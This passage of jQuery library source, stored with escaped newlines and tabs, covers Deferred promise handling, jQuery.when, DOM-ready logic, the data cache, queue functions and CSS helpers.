errors\n\t\t\t\t\t\t\tif ( depth ) {\n\t\t\t\t\t\t\t\tprocess();\n\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t// Call an optional hook to record the stack, in case of exception\n\t\t\t\t\t\t\t\t// since it's otherwise lost when execution goes async\n\t\t\t\t\t\t\t\tif ( jQuery.Deferred.getStackHook ) {\n\t\t\t\t\t\t\t\t\tprocess.stackTrace = jQuery.Deferred.getStackHook();\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\twindow.setTimeout( process );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\n\t\t\t\t\treturn jQuery.Deferred( function( newDefer ) {\n\n\t\t\t\t\t\t// progress_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 0 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onProgress ) ?\n\t\t\t\t\t\t\t\t\tonProgress :\n\t\t\t\t\t\t\t\t\tIdentity,\n\t\t\t\t\t\t\t\tnewDefer.notifyWith\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// fulfilled_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 1 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onFulfilled ) ?\n\t\t\t\t\t\t\t\t\tonFulfilled :\n\t\t\t\t\t\t\t\t\tIdentity\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t// rejected_handlers.add( ... )\n\t\t\t\t\t\ttuples[ 2 ][ 3 ].add(\n\t\t\t\t\t\t\tresolve(\n\t\t\t\t\t\t\t\t0,\n\t\t\t\t\t\t\t\tnewDefer,\n\t\t\t\t\t\t\t\tisFunction( onRejected ) ?\n\t\t\t\t\t\t\t\t\tonRejected :\n\t\t\t\t\t\t\t\t\tThrower\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t);\n\t\t\t\t\t} ).promise();\n\t\t\t\t},\n\n\t\t\t\t// Get a promise for this deferred\n\t\t\t\t// If obj is provided, the promise aspect is added to the object\n\t\t\t\tpromise: function( obj ) {\n\t\t\t\t\treturn obj != null ? jQuery.extend( obj, promise ) : promise;\n\t\t\t\t}\n\t\t\t},\n\t\t\tdeferred = {};\n\n\t\t// Add list-specific methods\n\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\tvar list = tuple[ 2 ],\n\t\t\t\tstateString = tuple[ 5 ];\n\n\t\t\t// promise.progress = list.add\n\t\t\t// promise.done = list.add\n\t\t\t// promise.fail = list.add\n\t\t\tpromise[ tuple[ 1 ] ] = list.add;\n\n\t\t\t// Handle state\n\t\t\tif ( stateString ) {\n\t\t\t\tlist.add(\n\t\t\t\t\tfunction() {\n\n\t\t\t\t\t\t// state = \"resolved\" (i.e., fulfilled)\n\t\t\t\t\t\t// state = \"rejected\"\n\t\t\t\t\t\tstate = stateString;\n\t\t\t\t\t},\n\n\t\t\t\t\t// rejected_callbacks.disable\n\t\t\t\t\t// fulfilled_callbacks.disable\n\t\t\t\t\ttuples[ 3 - i ][ 2 ].disable,\n\n\t\t\t\t\t// rejected_handlers.disable\n\t\t\t\t\t// fulfilled_handlers.disable\n\t\t\t\t\ttuples[ 3 - i ][ 3 ].disable,\n\n\t\t\t\t\t// progress_callbacks.lock\n\t\t\t\t\ttuples[ 0 ][ 2 ].lock,\n\n\t\t\t\t\t// progress_handlers.lock\n\t\t\t\t\ttuples[ 0 ][ 3 ].lock\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t// progress_handlers.fire\n\t\t\t// fulfilled_handlers.fire\n\t\t\t// rejected_handlers.fire\n\t\t\tlist.add( tuple[ 3 ].fire );\n\n\t\t\t// deferred.notify = function() { deferred.notifyWith(...) }\n\t\t\t// deferred.resolve = function() { deferred.resolveWith(...) }\n\t\t\t// deferred.reject = function() { deferred.rejectWith(...) }\n\t\t\tdeferred[ tuple[ 0 ] ] = function() {\n\t\t\t\tdeferred[ tuple[ 0 ] + \"With\" ]( this === deferred ? undefined : this, arguments );\n\t\t\t\treturn this;\n\t\t\t};\n\n\t\t\t// deferred.notifyWith = list.fireWith\n\t\t\t// deferred.resolveWith = list.fireWith\n\t\t\t// deferred.rejectWith = list.fireWith\n\t\t\tdeferred[ tuple[ 0 ] + \"With\" ] = list.fireWith;\n\t\t} );\n\n\t\t// Make the deferred a promise\n\t\tpromise.promise( deferred );\n\n\t\t// Call given func if any\n\t\tif ( func ) {\n\t\t\tfunc.call( deferred, deferred );\n\t\t}\n\n\t\t// All done!\n\t\treturn deferred;\n\t},\n\n\t// Deferred helper\n\twhen: function( singleValue ) {\n\t\tvar\n\n\t\t\t// count of uncompleted subordinates\n\t\t\tremaining = arguments.length,\n\n\t\t\t// count of unprocessed arguments\n\t\t\ti = remaining,\n\n\t\t\t// subordinate fulfillment data\n\t\t\tresolveContexts = Array( i ),\n\t\t\tresolveValues = slice.call( arguments ),\n\n\t\t\t// the master Deferred\n\t\t\tmaster = jQuery.Deferred(),\n\n\t\t\t// subordinate callback factory\n\t\t\tupdateFunc = function( i ) {\n\t\t\t\treturn function( value ) {\n\t\t\t\t\tresolveContexts[ i ] = this;\n\t\t\t\t\tresolveValues[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;\n\t\t\t\t\tif ( !( --remaining ) ) {\n\t\t\t\t\t\tmaster.resolveWith( resolveContexts, resolveValues );\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t};\n\n\t\t// Single- and empty arguments are adopted like Promise.resolve\n\t\tif ( remaining <= 1 ) {\n\t\t\tadoptValue( singleValue, master.done( updateFunc( i ) ).resolve, master.reject,\n\t\t\t\t!remaining );\n\n\t\t\t// Use .then() to unwrap secondary thenables (cf. gh-3000)\n\t\t\tif ( master.state() === \"pending\" ||\n\t\t\t\tisFunction( resolveValues[ i ] && resolveValues[ i ].then ) ) {\n\n\t\t\t\treturn master.then();\n\t\t\t}\n\t\t}\n\n\t\t// Multiple arguments are aggregated like Promise.all array elements\n\t\twhile ( i-- ) {\n\t\t\tadoptValue( resolveValues[ i ], updateFunc( i ), master.reject );\n\t\t}\n\n\t\treturn master.promise();\n\t}\n} );\n\n\n// These usually indicate a programmer mistake during development,\n// warn about them ASAP rather than swallowing them by default.\nvar rerrorNames = /^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;\n\njQuery.Deferred.exceptionHook = function( error, stack ) {\n\n\t// Support: IE 8 - 9 only\n\t// Console exists when dev tools are open, which can happen at any time\n\tif ( window.console && window.console.warn && error && rerrorNames.test( error.name ) ) {\n\t\twindow.console.warn( \"jQuery.Deferred exception: \" + error.message, error.stack, stack );\n\t}\n};\n\n\n\n\njQuery.readyException = function( error ) {\n\twindow.setTimeout( function() {\n\t\tthrow error;\n\t} );\n};\n\n\n\n\n// The deferred used on DOM ready\nvar readyList = jQuery.Deferred();\n\njQuery.fn.ready = function( fn ) {\n\n\treadyList\n\t\t.then( fn )\n\n\t\t// Wrap jQuery.readyException in a function so that the lookup\n\t\t// happens at the time of error handling instead of callback\n\t\t// registration.\n\t\t.catch( function( error ) {\n\t\t\tjQuery.readyException( error );\n\t\t} );\n\n\treturn this;\n};\n\njQuery.extend( {\n\n\t// Is the DOM ready to be used? Set to true once it occurs.\n\tisReady: false,\n\n\t// A counter to track how many items to wait for before\n\t// the ready event fires. See #6781\n\treadyWait: 1,\n\n\t// Handle when the DOM is ready\n\tready: function( wait ) {\n\n\t\t// Abort if there are pending holds or we're already ready\n\t\tif ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Remember that the DOM is ready\n\t\tjQuery.isReady = true;\n\n\t\t// If a normal DOM Ready event fired, decrement, and wait if need be\n\t\tif ( wait !== true && --jQuery.readyWait > 0 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// If there are functions bound, to execute\n\t\treadyList.resolveWith( document, [ jQuery ] );\n\t}\n} );\n\njQuery.ready.then = readyList.then;\n\n// The ready event handler and self cleanup method\nfunction completed() {\n\tdocument.removeEventListener( \"DOMContentLoaded\", completed );\n\twindow.removeEventListener( \"load\", completed );\n\tjQuery.ready();\n}\n\n// Catch cases where $(document).ready() is called\n// after the browser event has already occurred.\n// Support: IE <=9 - 10 only\n// Older IE sometimes signals \"interactive\" too soon\nif ( document.readyState === \"complete\" ||\n\t( document.readyState !== \"loading\" && !document.documentElement.doScroll ) ) {\n\n\t// Handle it asynchronously to allow scripts the opportunity to delay ready\n\twindow.setTimeout( jQuery.ready );\n\n} else {\n\n\t// Use the handy event callback\n\tdocument.addEventListener( \"DOMContentLoaded\", completed );\n\n\t// A fallback to window.onload, that will always work\n\twindow.addEventListener( \"load\", completed );\n}\n\n\n\n\n// Multifunctional method to get and set values of a collection\n// The value/s can optionally be executed if it's a function\nvar access = function( elems, fn, key, value, chainable, emptyGet, raw ) {\n\tvar i = 0,\n\t\tlen = elems.length,\n\t\tbulk = key == null;\n\n\t// Sets many values\n\tif ( toType( key ) === \"object\" ) {\n\t\tchainable = true;\n\t\tfor ( i in key ) {\n\t\t\taccess( elems, fn, i, key[ i ], true, emptyGet, raw );\n\t\t}\n\n\t// Sets one value\n\t} else if ( value !== undefined ) {\n\t\tchainable = true;\n\n\t\tif ( !isFunction( value ) ) {\n\t\t\traw = true;\n\t\t}\n\n\t\tif ( bulk ) {\n\n\t\t\t// Bulk operations run against the entire set\n\t\t\tif ( raw ) {\n\t\t\t\tfn.call( elems, value );\n\t\t\t\tfn = null;\n\n\t\t\t// ...except when executing function values\n\t\t\t} else {\n\t\t\t\tbulk = fn;\n\t\t\t\tfn = function( elem, key, value ) {\n\t\t\t\t\treturn bulk.call( jQuery( elem ), value );\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\n\t\tif ( fn ) {\n\t\t\tfor ( ; i < len; i++ ) {\n\t\t\t\tfn(\n\t\t\t\t\telems[ i ], key, raw ?\n\t\t\t\t\tvalue :\n\t\t\t\t\tvalue.call( elems[ i ], i, fn( elems[ i ], key ) )\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( chainable ) {\n\t\treturn elems;\n\t}\n\n\t// Gets\n\tif ( bulk ) {\n\t\treturn fn.call( elems );\n\t}\n\n\treturn len ? fn( elems[ 0 ], key ) : emptyGet;\n};\n\n\n// Matches dashed string for camelizing\nvar rmsPrefix = /^-ms-/,\n\trdashAlpha = /-([a-z])/g;\n\n// Used by camelCase as callback to replace()\nfunction fcamelCase( all, letter ) {\n\treturn letter.toUpperCase();\n}\n\n// Convert dashed to camelCase; used by the css and data modules\n// Support: IE <=9 - 11, Edge 12 - 15\n// Microsoft forgot to hump their vendor prefix (#9572)\nfunction camelCase( string ) {\n\treturn string.replace( rmsPrefix, \"ms-\" ).replace( rdashAlpha, fcamelCase );\n}\nvar acceptData = function( owner ) {\n\n\t// Accepts only:\n\t// - Node\n\t// - Node.ELEMENT_NODE\n\t// - Node.DOCUMENT_NODE\n\t// - Object\n\t// - Any\n\treturn owner.nodeType === 1 || owner.nodeType === 9 || !( +owner.nodeType );\n};\n\n\n\n\nfunction Data() {\n\tthis.expando = jQuery.expando + Data.uid++;\n}\n\nData.uid = 1;\n\nData.prototype = {\n\n\tcache: function( owner ) {\n\n\t\t// Check if the owner object already has a cache\n\t\tvar value = owner[ this.expando ];\n\n\t\t// If not, create one\n\t\tif ( !value ) {\n\t\t\tvalue = {};\n\n\t\t\t// We can accept data for non-element nodes in modern browsers,\n\t\t\t// but we should not, see #8335.\n\t\t\t// Always return an empty object.\n\t\t\tif ( acceptData( owner ) ) {\n\n\t\t\t\t// If it is a node unlikely to be stringify-ed or looped over\n\t\t\t\t// use plain assignment\n\t\t\t\tif ( owner.nodeType ) {\n\t\t\t\t\towner[ this.expando ] = value;\n\n\t\t\t\t// Otherwise secure it in a non-enumerable property\n\t\t\t\t// configurable must be true to allow the property to be\n\t\t\t\t// deleted when data is removed\n\t\t\t\t} else {\n\t\t\t\t\tObject.defineProperty( owner, this.expando, {\n\t\t\t\t\t\tvalue: value,\n\t\t\t\t\t\tconfigurable: true\n\t\t\t\t\t} );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn value;\n\t},\n\tset: function( owner, data, value ) {\n\t\tvar prop,\n\t\t\tcache = this.cache( owner );\n\n\t\t// Handle: [ owner, key, value ] args\n\t\t// Always use camelCase key (gh-2257)\n\t\tif ( typeof data === \"string\" ) {\n\t\t\tcache[ camelCase( data ) ] = value;\n\n\t\t// Handle: [ owner, { properties } ] args\n\t\t} else {\n\n\t\t\t// Copy the properties one-by-one to the cache object\n\t\t\tfor ( prop in data ) {\n\t\t\t\tcache[ camelCase( prop ) ] = data[ prop ];\n\t\t\t}\n\t\t}\n\t\treturn cache;\n\t},\n\tget: function( owner, key ) {\n\t\treturn key === undefined ?\n\t\t\tthis.cache( owner ) :\n\n\t\t\t// Always use camelCase key (gh-2257)\n\t\t\towner[ this.expando ] && owner[ this.expando ][ camelCase( key ) ];\n\t},\n\taccess: function( owner, key, value ) {\n\n\t\t// In cases where either:\n\t\t//\n\t\t// 1. No key was specified\n\t\t// 2. A string key was specified, but no value provided\n\t\t//\n\t\t// Take the \"read\" path and allow the get method to determine\n\t\t// which value to return, respectively either:\n\t\t//\n\t\t// 1. The entire cache object\n\t\t// 2. The data stored at the key\n\t\t//\n\t\tif ( key === undefined ||\n\t\t\t\t( ( key && typeof key === \"string\" ) && value === undefined ) ) {\n\n\t\t\treturn this.get( owner, key );\n\t\t}\n\n\t\t// When the key is not a string, or both a key and value\n\t\t// are specified, set or extend (existing objects) with either:\n\t\t//\n\t\t// 1. An object of properties\n\t\t// 2. A key and value\n\t\t//\n\t\tthis.set( owner, key, value );\n\n\t\t// Since the \"set\" path can have two possible entry points\n\t\t// return the expected data based on which path was taken[*]\n\t\treturn value !== undefined ? value : key;\n\t},\n\tremove: function( owner, key ) {\n\t\tvar i,\n\t\t\tcache = owner[ this.expando ];\n\n\t\tif ( cache === undefined ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( key !== undefined ) {\n\n\t\t\t// Support array or space separated string of keys\n\t\t\tif ( Array.isArray( key ) ) {\n\n\t\t\t\t// If key is an array of keys...\n\t\t\t\t// We always set camelCase keys, so remove that.\n\t\t\t\tkey = key.map( camelCase );\n\t\t\t} else {\n\t\t\t\tkey = camelCase( key );\n\n\t\t\t\t// If a key with the spaces exists, use it.\n\t\t\t\t// Otherwise, create an array by matching non-whitespace\n\t\t\t\tkey = key in cache ?\n\t\t\t\t\t[ key ] :\n\t\t\t\t\t( key.match( rnothtmlwhite ) || [] );\n\t\t\t}\n\n\t\t\ti = key.length;\n\n\t\t\twhile ( i-- ) {\n\t\t\t\tdelete cache[ key[ i ] ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if there's no more data\n\t\tif ( key === undefined || jQuery.isEmptyObject( cache ) ) {\n\n\t\t\t// Support: Chrome <=35 - 45\n\t\t\t// Webkit & Blink performance suffers when deleting properties\n\t\t\t// from DOM nodes, so set to undefined instead\n\t\t\t// https://bugs.chromium.org/p/chromium/issues/detail?id=378607 (bug restricted)\n\t\t\tif ( owner.nodeType ) {\n\t\t\t\towner[ this.expando ] = undefined;\n\t\t\t} else {\n\t\t\t\tdelete owner[ this.expando ];\n\t\t\t}\n\t\t}\n\t},\n\thasData: function( owner ) {\n\t\tvar cache = owner[ this.expando ];\n\t\treturn cache !== undefined && !jQuery.isEmptyObject( cache );\n\t}\n};\nvar dataPriv = new Data();\n\nvar dataUser = new Data();\n\n\n\n//\tImplementation Summary\n//\n//\t1. Enforce API surface and semantic compatibility with 1.9.x branch\n//\t2. Improve the module's maintainability by reducing the storage\n//\t\tpaths to a single mechanism.\n//\t3. Use the same single mechanism to support \"private\" and \"user\" data.\n//\t4. _Never_ expose \"private\" data to user code (TODO: Drop _data, _removeData)\n//\t5. Avoid exposing implementation details on user objects (eg. expando properties)\n//\t6. Provide a clear path for implementation upgrade to WeakMap in 2014\n\nvar rbrace = /^(?:\\{[\\w\\W]*\\}|\\[[\\w\\W]*\\])$/,\n\trmultiDash = /[A-Z]/g;\n\nfunction getData( data ) {\n\tif ( data === \"true\" ) {\n\t\treturn true;\n\t}\n\n\tif ( data === \"false\" ) {\n\t\treturn false;\n\t}\n\n\tif ( data === \"null\" ) {\n\t\treturn null;\n\t}\n\n\t// Only convert to a number if it doesn't change the string\n\tif ( data === +data + \"\" ) {\n\t\treturn +data;\n\t}\n\n\tif ( rbrace.test( data ) ) {\n\t\treturn JSON.parse( data );\n\t}\n\n\treturn data;\n}\n\nfunction dataAttr( elem, key, data ) {\n\tvar name;\n\n\t// If nothing was found internally, try to fetch any\n\t// data from the HTML5 data-* attribute\n\tif ( data === undefined && elem.nodeType === 1 ) {\n\t\tname = \"data-\" + key.replace( rmultiDash, \"-$&\" ).toLowerCase();\n\t\tdata = elem.getAttribute( name );\n\n\t\tif ( typeof data === \"string\" ) {\n\t\t\ttry {\n\t\t\t\tdata = getData( data );\n\t\t\t} catch ( e ) {}\n\n\t\t\t// Make sure we set the data so it isn't changed later\n\t\t\tdataUser.set( elem, key, data );\n\t\t} else {\n\t\t\tdata = undefined;\n\t\t}\n\t}\n\treturn data;\n}\n\njQuery.extend( {\n\thasData: function( elem ) {\n\t\treturn dataUser.hasData( elem ) || dataPriv.hasData( elem );\n\t},\n\n\tdata: function( elem, name, data ) {\n\t\treturn dataUser.access( elem, name, data );\n\t},\n\n\tremoveData: function( elem, name ) {\n\t\tdataUser.remove( elem, name );\n\t},\n\n\t// TODO: Now that all calls to _data and _removeData have been replaced\n\t// with direct calls to dataPriv methods, these can be deprecated.\n\t_data: function( elem, name, data ) {\n\t\treturn dataPriv.access( elem, name, data );\n\t},\n\n\t_removeData: function( elem, name ) {\n\t\tdataPriv.remove( elem, name );\n\t}\n} );\n\njQuery.fn.extend( {\n\tdata: function( key, value ) {\n\t\tvar i, name, data,\n\t\t\telem = this[ 0 ],\n\t\t\tattrs = elem && elem.attributes;\n\n\t\t// Gets all values\n\t\tif ( key === undefined ) {\n\t\t\tif ( this.length ) {\n\t\t\t\tdata = dataUser.get( elem );\n\n\t\t\t\tif ( elem.nodeType === 1 && !dataPriv.get( elem, \"hasDataAttrs\" ) ) {\n\t\t\t\t\ti = attrs.length;\n\t\t\t\t\twhile ( i-- ) {\n\n\t\t\t\t\t\t// Support: IE 11 only\n\t\t\t\t\t\t// The attrs elements can be null (#14894)\n\t\t\t\t\t\tif ( attrs[ i ] ) {\n\t\t\t\t\t\t\tname = attrs[ i ].name;\n\t\t\t\t\t\t\tif ( name.indexOf( \"data-\" ) === 0 ) {\n\t\t\t\t\t\t\t\tname = camelCase( name.slice( 5 ) );\n\t\t\t\t\t\t\t\tdataAttr( elem, name, data[ name ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tdataPriv.set( elem, \"hasDataAttrs\", true );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn data;\n\t\t}\n\n\t\t// Sets multiple values\n\t\tif ( typeof key === \"object\" ) {\n\t\t\treturn this.each( function() {\n\t\t\t\tdataUser.set( this, key );\n\t\t\t} );\n\t\t}\n\n\t\treturn access( this, function( value ) {\n\t\t\tvar data;\n\n\t\t\t// The calling jQuery object (element matches) is not empty\n\t\t\t// (and therefore has an element appears at this[ 0 ]) and the\n\t\t\t// `value` parameter was not undefined. An empty jQuery object\n\t\t\t// will result in `undefined` for elem = this[ 0 ] which will\n\t\t\t// throw an exception if an attempt to read a data cache is made.\n\t\t\tif ( elem && value === undefined ) {\n\n\t\t\t\t// Attempt to get data from the cache\n\t\t\t\t// The key will always be camelCased in Data\n\t\t\t\tdata = dataUser.get( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// Attempt to \"discover\" the data in\n\t\t\t\t// HTML5 custom data-* attrs\n\t\t\t\tdata = dataAttr( elem, key );\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\treturn data;\n\t\t\t\t}\n\n\t\t\t\t// We tried really hard, but the data doesn't exist.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// Set the data...\n\t\t\tthis.each( function() {\n\n\t\t\t\t// We always store the camelCased key\n\t\t\t\tdataUser.set( this, key, value );\n\t\t\t} );\n\t\t}, null, value, arguments.length > 1, null, true );\n\t},\n\n\tremoveData: function( key ) {\n\t\treturn this.each( function() {\n\t\t\tdataUser.remove( this, key );\n\t\t} );\n\t}\n} );\n\n\njQuery.extend( {\n\tqueue: function( elem, type, data ) {\n\t\tvar queue;\n\n\t\tif ( elem ) {\n\t\t\ttype = ( type || \"fx\" ) + \"queue\";\n\t\t\tqueue = dataPriv.get( elem, type );\n\n\t\t\t// Speed up dequeue by getting out quickly if this is just a lookup\n\t\t\tif ( data ) {\n\t\t\t\tif ( !queue || Array.isArray( data ) ) {\n\t\t\t\t\tqueue = dataPriv.access( elem, type, jQuery.makeArray( data ) );\n\t\t\t\t} else {\n\t\t\t\t\tqueue.push( data );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn queue || [];\n\t\t}\n\t},\n\n\tdequeue: function( elem, type ) {\n\t\ttype = type || \"fx\";\n\n\t\tvar queue = jQuery.queue( elem, type ),\n\t\t\tstartLength = queue.length,\n\t\t\tfn = queue.shift(),\n\t\t\thooks = jQuery._queueHooks( elem, type ),\n\t\t\tnext = function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t};\n\n\t\t// If the fx queue is dequeued, always remove the progress sentinel\n\t\tif ( fn === \"inprogress\" ) {\n\t\t\tfn = queue.shift();\n\t\t\tstartLength--;\n\t\t}\n\n\t\tif ( fn ) {\n\n\t\t\t// Add a progress sentinel to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift( \"inprogress\" );\n\t\t\t}\n\n\t\t\t// Clear up the last queue stop function\n\t\t\tdelete hooks.stop;\n\t\t\tfn.call( elem, next, hooks );\n\t\t}\n\n\t\tif ( !startLength && hooks ) {\n\t\t\thooks.empty.fire();\n\t\t}\n\t},\n\n\t// Not public - generate a queueHooks object, or return the current one\n\t_queueHooks: function( elem, type ) {\n\t\tvar key = type + \"queueHooks\";\n\t\treturn dataPriv.get( elem, key ) || dataPriv.access( elem, key, {\n\t\t\tempty: jQuery.Callbacks( \"once memory\" ).add( function() {\n\t\t\t\tdataPriv.remove( elem, [ type + \"queue\", key ] );\n\t\t\t} )\n\t\t} );\n\t}\n} );\n\njQuery.fn.extend( {\n\tqueue: function( type, data ) {\n\t\tvar setter = 2;\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t\tsetter--;\n\t\t}\n\n\t\tif ( arguments.length < setter ) {\n\t\t\treturn jQuery.queue( this[ 0 ], type );\n\t\t}\n\n\t\treturn data === undefined ?\n\t\t\tthis :\n\t\t\tthis.each( function() {\n\t\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\t\t// Ensure a hooks for this queue\n\t\t\t\tjQuery._queueHooks( this, type );\n\n\t\t\t\tif ( type === \"fx\" && queue[ 0 ] !== \"inprogress\" ) {\n\t\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t\t}\n\t\t\t} );\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t} );\n\t},\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t},\n\n\t// Get a promise resolved when queues of a certain type\n\t// are emptied (fx is the type by default)\n\tpromise: function( type, obj ) {\n\t\tvar tmp,\n\t\t\tcount = 1,\n\t\t\tdefer = jQuery.Deferred(),\n\t\t\telements = this,\n\t\t\ti = this.length,\n\t\t\tresolve = function() {\n\t\t\t\tif ( !( --count ) ) {\n\t\t\t\t\tdefer.resolveWith( elements, [ elements ] );\n\t\t\t\t}\n\t\t\t};\n\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tobj = type;\n\t\t\ttype = undefined;\n\t\t}\n\t\ttype = type || \"fx\";\n\n\t\twhile ( i-- ) {\n\t\t\ttmp = dataPriv.get( elements[ i ], type + \"queueHooks\" );\n\t\t\tif ( tmp && tmp.empty ) {\n\t\t\t\tcount++;\n\t\t\t\ttmp.empty.add( resolve );\n\t\t\t}\n\t\t}\n\t\tresolve();\n\t\treturn defer.promise( obj );\n\t}\n} );\nvar pnum = ( /[+-]?(?:\\d*\\.|)\\d+(?:[eE][+-]?\\d+|)/ ).source;\n\nvar rcssNum = new RegExp( \"^(?:([+-])=|)(\" + pnum + \")([a-z%]*)$\", \"i\" );\n\n\nvar cssExpand = [ \"Top\", \"Right\", \"Bottom\", \"Left\" ];\n\nvar isHiddenWithinTree = function( elem, el ) {\n\n\t\t// isHiddenWithinTree might be called from jQuery#filter function;\n\t\t// in that case, element will be second argument\n\t\telem = el || elem;\n\n\t\t// Inline style trumps all\n\t\treturn elem.style.display === \"none\" ||\n\t\t\telem.style.display === \"\" &&\n\n\t\t\t// Otherwise, check computed style\n\t\t\t// Support: Firefox <=43 - 45\n\t\t\t// Disconnected elements can have computed display: none, so first confirm that elem is\n\t\t\t// in the document.\n\t\t\tjQuery.contains( elem.ownerDocument, elem ) &&\n\n\t\t\tjQuery.css( elem, \"display\" ) === \"none\";\n\t};\n\nvar swap = function( elem, options, callback, args ) {\n\tvar ret, name,\n\t\told = {};\n\n\t// Remember the old values, and insert the new ones\n\tfor ( name in options ) {\n\t\told[ name ] = elem.style[ name ];\n\t\telem.style[ name ] = options[ name ];\n\t}\n\n\tret = callback.apply( elem, args || [] );\n\n\t// Revert the old values\n\tfor ( name in options ) {\n\t\telem.style[ name ] = old[ name ];\n\t}\n\n\treturn ret;\n};\n\n\n\n\nfunction adjustCSS( elem, prop, valueParts, tween ) {\n\tvar adjusted, scale,\n\t\tmaxIterations = 20,\n\t\tcurrentValue = tween ?\n\t\t\tfunction() {\n\t\t\t\treturn tween.cur();\n\t\t\t} :\n\t\t\tfunction() {\n\t\t\t\treturn jQuery.css( elem, prop, \"\" );\n\t\t\t},\n\t\tinitial = currentValue(),\n\t\tunit = valueParts && valueParts[ 3 ] || ( jQuery.cssNumber[ prop ] ? \"\" : \"px\" ),\n\n\t\t// Starting value computation is required for potential unit mismatches\n\t\tinitialInUnit = ( jQuery.cssNumber[ prop ] || unit !== \"px\" && +initial ) &&\n\t\t\trcssNum.exec( jQuery.css( elem, prop ) );\n\n\tif ( initialInUnit && initialInUnit[ 3 ] !== unit ) {\n\n\t\t// Support: Firefox <=54\n\t\t// Halve the iteration target value to prevent interference from CSS upper bounds (gh-2144)\n\t\tinitial = initial / 2;\n\n\t\t// Trust units reported by jQuery.css\n\t\tunit = unit || initialInUnit[ 3 ];\n\n\t\t// Iteratively approximate from a nonzero starting point\n\t\tinitialInUnit = +initial || 1;\n\n\t\twhile ( maxIterations-- ) {\n\n\t\t\t// Evaluate and update our best guess (doubling guesses that zero out).\n\t\t\t// Finish if the scale equals or crosses 1 (making the old*new product non-positive).\n\t\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\t\t\tif ( ( 1 - scale ) * ( 1 - ( scale = currentValue() / initial || 0.5 ) ) <= 0 ) {\n\t\t\t\tmaxIterations = 0;\n\t\t\t}\n\t\t\tinitialInUnit = initialInUnit / scale;\n\n\t\t}\n\n\t\tinitialInUnit = initialInUnit * 2;\n\t\tjQuery.style( elem, prop, initialInUnit + unit );\n\n\t\t// Make sure we update the tween properties later on\n\t\tvalueParts = valueParts || [];\n\t}\n\n\tif ( valueParts ) {\n\t\tinitialInUnit = +initialInUnit || +initial || 0;\n\n\t\t// Apply relative offset (+=/-=) if specified\n\t\tadjusted = valueParts[ 1 ] ?\n\t\t\tinitialInUnit + ( valueParts[ 1 ] + 1 ) * valueParts[ 2 ] :\n\t\t\t+valueParts[ 2 ];\n\t\tif ( tween ) {\n\t\t\ttween.unit = unit;\n\t\t\ttween.start = initialInUnit;\n\t\t\ttween.end = adjusted;\n\t\t}\n\t}\n\treturn adjusted;\n}\n\n\nvar defaultDisplayMap = {};\n\nfunction getDefaultDisplay( elem ) {\n\tvar temp,\n\t\tdoc = elem.ownerDocument,\n\t\tnodeName = elem.nodeName,\n\t\tdisplay = defaultDisplayMap[ nodeName ];\n\n\tif ( display ) {\n\t\treturn display;\n\t}\n\n\ttemp = doc.body.appendChild( doc.createElement( nodeName ) );\n\tdisplay = jQuery.css( temp, \"display\" );\n\n\ttemp.parentNode.removeChild( temp );\n\n\tif ( display === \"none\" ) {\n\t\tdisplay = \"block\";\n\t}\n\tdefaultDisplayMap[ nodeName ] = display;\n\n\treturn display;\n}\n\nfunction showHide( elements, show ) {\n\tvar display, elem,\n\t\tvalues = [],\n\t\tindex = 0,\n\t\tlength = elements.length;\n\n\t// Determine new display value for elements that need to change\n\tfor ( ; index < length; index++ ) {\n\t\telem = elements[ index ];\n\t\tif ( !elem.style ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tdisplay = elem.style.display;\n\t\tif ( show ) {\n\n\t\t\t// Since we force visibility upon cascade-hidden elements, an immediate (and slow)\n\t\t\t// check is required in this first loop unless we have a nonempty display value (either\n\t\t\t// inline or about-to-be-restored)\n\t\t\tif ( display === \"none\" ) 